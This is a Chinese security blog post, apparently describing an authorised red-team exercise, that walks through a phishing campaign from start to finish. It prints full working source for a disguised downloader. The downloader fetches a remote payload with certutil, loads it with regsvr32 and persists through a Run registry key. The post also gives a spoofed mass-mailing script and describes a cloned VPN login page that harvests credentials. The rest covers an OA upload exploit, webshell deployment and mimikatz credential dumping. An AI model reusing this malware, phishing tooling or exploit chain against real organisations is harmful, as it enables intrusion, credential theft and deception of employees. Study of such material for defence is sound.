记一次红蓝对抗中钓鱼的应用

  • A+
所属分类:安全文章

这是 酒仙桥六号部队 的第 77 篇文章。

全文共计个字,预计阅读时长25分钟。


引言

某次红蓝对抗项目中,对目标进行信息收集,发现外网资产特别少,只有一个官网和一个xxx的VPN登录页面,并且官网中与后台有交互的功能都已关闭,当时就想口吐芬芳,但是作为新时代有素质,有文化,有理想,有头发的四有青年,遇到困难也不要怕,微笑着面对它,消除困难的最好办法就是面对困难,加油,奥里给!

记一次红蓝对抗中钓鱼的应用

既然从外网资产无处下手,那么祭起社工大法。由于其他原因(就是菜),没有条件去从其它道和目标建立起联系,进而进行信任度较高的社工。只能试试邮件钓鱼了,经过一段时间的信息收集,拿到了一批员工邮箱,和一封内部安全部门的通告邮件以及知道了目标安装了xxx的终端防护软件。


前期准备

针对已知信息,先想办法搞到xxx的终端防护软件,弄一个免杀马出来。万幸官网提供免费下载的版本,下载安装一波。

记一次红蓝对抗中钓鱼的应用

免杀的相关教程有很多,内容也比较多,我这里就不再展开说了,简单介绍下此次项目用的马。此次项目的马,分为两部分,下载器和shellcode的dll。下载器从远程的vps拉取恶意dll加载执行。下载器我这里大概思路就是使用windows白程序certutil进行dll的下载,为了进一步迷惑目标,我这里下载到了temp目录一个名为log的txt流文件中,之后继续利用windows白程序regsvr32去加载dll,为了持久化控制,还加了一段将自身复制到temp目录,之后创建开机启动项的注册表项,每次开机都会执行下载器。附上下载器的代码:

#include "stdafx.h"  #include <Windows.h>  #include <iostream>  #include <UrlMon.h>  #include <fstream>    #pragma comment(lib, "urlmon.lib")  using namespace std;    int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)  {      TCHAR args1[255] = TEXT(" ");      TCHAR args2[255] = TEXT(" ");      TCHAR SaveFile[255];        GetEnvironmentVariable(TEXT("TMP"), SaveFile, 255);      lstrcatW(args1, TEXT(" -sPlit -urlcaChe -f https://xxx/repair "));      lstrcatW(args1, SaveFile);      lstrcatW(args1, TEXT("\log3ab4ca.txt:ms"));        lstrcatW(args2, SaveFile);      lstrcatW(args2, TEXT("\log3ab4ca.txt:ms"));        TCHAR tcBuf[MAX_PATH];      TCHAR args3[255] = TEXT("");      lstrcatW(args3, SaveFile);      lstrcatW(args3, TEXT("\repair.exe"));      GetModuleFileName(NULL, tcBuf, sizeof(tcBuf));        fstream _file;      _file.open(args3, ios::in);        PROCESS_INFORMATION pi;      STARTUPINFO si = { sizeof(si) };      si.cb = sizeof(si);      si.wShowWindow = FALSE;        if (!_file){          CreateProcess(              TEXT("C:\Windows\System32\certutil.exe"),  args1,  NULL,              NULL,  FALSE,  CREATE_NO_WINDOW,  NULL,  NULL,  &si,  &pi);         Sleep(3 * 1000);            CopyFile(tcBuf, args3, FALSE);            HKEY key;          long ret = RegOpenKeyEx(              HKEY_CURRENT_USER,              TEXT("Software\Microsoft\Windows\CurrentVersion\Run"),              0,              KEY_WRITE | KEY_READ,              &key);            RegSetValueEx(key, TEXT("debug"), NULL, REG_SZ, (BYTE*)args3, sizeof((args3)));          RegCloseKey(key);            MessageBox(NULL, TEXT("漏洞修复成功!"), TEXT("漏洞修复程序"), MB_OK | MB_ICONINFORMATION);      }      CreateProcess(          TEXT("C:\Windows\System32\regsvr32.exe"),  args2,  NULL,  NULL,          FALSE,   CREATE_NO_WINDOW,   NULL,  NULL,  &si,  &pi);      return 0;  }

之后创建了一个免杀的dll,大概就是将CS生成的shellcode做了一个xor的加密,网上应该有相关的代码。我这里用的是内部小组专用工具生成的,不方便展示。为了更加可信,替换了程序的图标为该目标公司logo。编译生成exe,执行测试一下,可以看到生成的txt为0kb,其实dll被写到了流文件中,也添加了启动项,更为重要的是xxx也不拦截。

Ps:由于没有注意关闭Windows Defender的自动上传功能,CS上收到了一个IP是微软云的会话,应该是微软的沙箱,现在该加载器会被Widnwos Defender杀掉。

记一次红蓝对抗中钓鱼的应用

免杀马写好了,下面开始伪造邮件模板。首先构造了一个安装补丁的邮件模板,大意是让所有员工安装补丁,为了提高真实性,强调了没有按时完成安装的员工将会进行通报批评,我这里用QQ邮箱先测试一下。

记一次红蓝对抗中钓鱼的应用

邮件内容没问题了,下面考虑自动化的问题,不然几百封邮件要发到天荒地老。

首先将邮件导出为eml文件。

记一次红蓝对抗中钓鱼的应用

To前面的内容全都删掉,Date以及一些明显是QQ的特征也删掉,不然随便用个编辑器打开,一眼就看到QQ,那多尴尬。

记一次红蓝对抗中钓鱼的应用

eml文件有了,接下来考虑发件人的问题,在还未正式接到项目时,就提前注册了一个和目标类似的域名,目标域名中有个l,我们这边注册了个1,并且安装了SMTP服务。

记一次红蓝对抗中钓鱼的应用

正式开始项目实施的时候,发现目标并没有配置spf,可以伪造任意目标进行发件。这就尴尬了,钱白花了呀,还是不会报销的那种。猛男落泪.jpg。

记一次红蓝对抗中钓鱼的应用

发件邮箱有了,内容也有了,下面就剩搞个脚本自动发件了。人生苦短,我用python,简单搞个脚本,maillist是收集到的邮箱地址,msgfile是邮件内容的eml文件,把eml中的收件人[email protected]替换成真正的收件人,执行swaks命令,保存发送成功的和失败的记录,为了防止发信过于频繁,间隔10s发送一封。

import re  import time  import os    maillist = "mail.txt"  msgfile = "msg.eml"  num = 0  with open(maillist, "r") as lines:      for line in lines:          num = num + 1;          line = line.replace('n','')          print("当前邮箱:"+line)          cmd = "swaks --to %s --from [email protected] –data msgtemp.eml" % line          print("执行命令:"+cmd)          open("msgtemp.eml","w").write(re.sub(r'[email protected]', '%s', open(msgfile).read())% line)          p = os.popen(cmd)          comment = re.compile(r'->s.(.*?)->sQUIT',re.S)          try:              result = comment.search(p.read()).group(1)              if "250" in result:                  open("success.txt","a+").write(line + "  " + result)              else:                  open("fail.txt","a+").write(line + "  " + result)          except:              result = "未知"              open("fail.txt","a+").write(line + "  " + result)          print("已发送%s封" % num)          time.sleep(10)

前期准备就这样了,到时候只能看运气了。


正式实施

终于到了正式实施的时候了,激动的心,颤抖的手,python3 sendMail.py,打完收工。倒上一杯我最喜欢的肥宅快乐水,等着CS目标上线,芜湖,起飞!

记一次红蓝对抗中钓鱼的应用

等呀等,等呀等,下班了还没有目标上线,难道我的邮件写的太拙劣了,被识破了?不应该呀,发了四百多封邮件,总会有人上当的,但现实是没有机器上线,这个邮件应该是失败了。那还能怎么弄呢?想来想去,还有个xxx的VPN页面,要不试试去钓VPN账号密码吧。

说干就干,之前申请的相似域名有用了,复制一下VPN登录的前台页面,改一下各种链接指向真实的url。再改一下点击登录按钮的JS代码,改成在后台记录密码的请求之后跳转到真正的VPN页面。以下是添加的JS代码,auth_param.php会将用户名密码发送到后台进行记录。

记一次红蓝对抗中钓鱼的应用

改造完成之后,整个页面是这样的,还是挺像的。

记一次红蓝对抗中钓鱼的应用

在实际的项目中,根据经验,很多目标都是不出网的,并且第一封邮件没有响应,大概率是被邮件网关拦截了,为了提高成功率,这次的邮件里不加附件不加URL,将钓鱼URL生成二维码,编写邮件内容让员工用手机扫码绑定VPN,如果用VX扫码,连URL都不会出现进一步隐藏了假的URL。

记一次红蓝对抗中钓鱼的应用

同之前的邮件发送一样,先导出eml文件,删除一些特征等内容,改一点发件脚本,再次发件。经过一段时间的等待,终于有人登录了VPN,成功通过VPN进入目标内网。

记一次红蓝对抗中钓鱼的应用

进入内网之后,对内网进行常用端口,弱口令扫描,以及MS17-010和CVE-2019-0708漏洞扫描。

记一次红蓝对抗中钓鱼的应用

记一次红蓝对抗中钓鱼的应用

大概翻了一下上面的机器,没有找到特别有用的信息。

同时看看有哪些web服务,发现有台OA服务器,通达OA2017版的,这个版本有上传漏洞,通过接口ispirit/im/upload.php上传马,这里注意要用COM组件wscript.shell来绕过disable_function。

记一次红蓝对抗中钓鱼的应用

/mac/gateway.php去进行文件包含,执行命令。

记一次红蓝对抗中钓鱼的应用

通过命令执行写入冰蝎的webshell,连接冰蝎,执行whoami,竟然直接就是system权限,这让我准备的提权程序没有了用武之地呀。

记一次红蓝对抗中钓鱼的应用

神器mimikat抓到了administrator的ntlm,之后去cmd5解码一下,ping找到域控IP,扫一下域控的端口,3389开放,登录域控拿下目标。

记一次红蓝对抗中钓鱼的应用


后记

项目结束之后,同甲方防护人员沟通,第一封邮件由于加了附件被邮件网关拦截了。现目前的项目中,由于邮件安全网关的原因,很少能够直接通过邮件钓鱼成功的,如果有条件还是应该通过其他社交手段同目标人员进行交互,能够大大提高钓鱼的成功率。另外前期准备还是挺重要的,要尽可能多考虑一些情况,多准备一些备用方案,防止在正式实施的时候和预期不一致,如果没有备用方案,那就会消耗大量的时间重新进行规划,那么留给项目实施的时间会进一步削减,到时候打出GG就不好了。


记一次红蓝对抗中钓鱼的应用

记一次红蓝对抗中钓鱼的应用

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: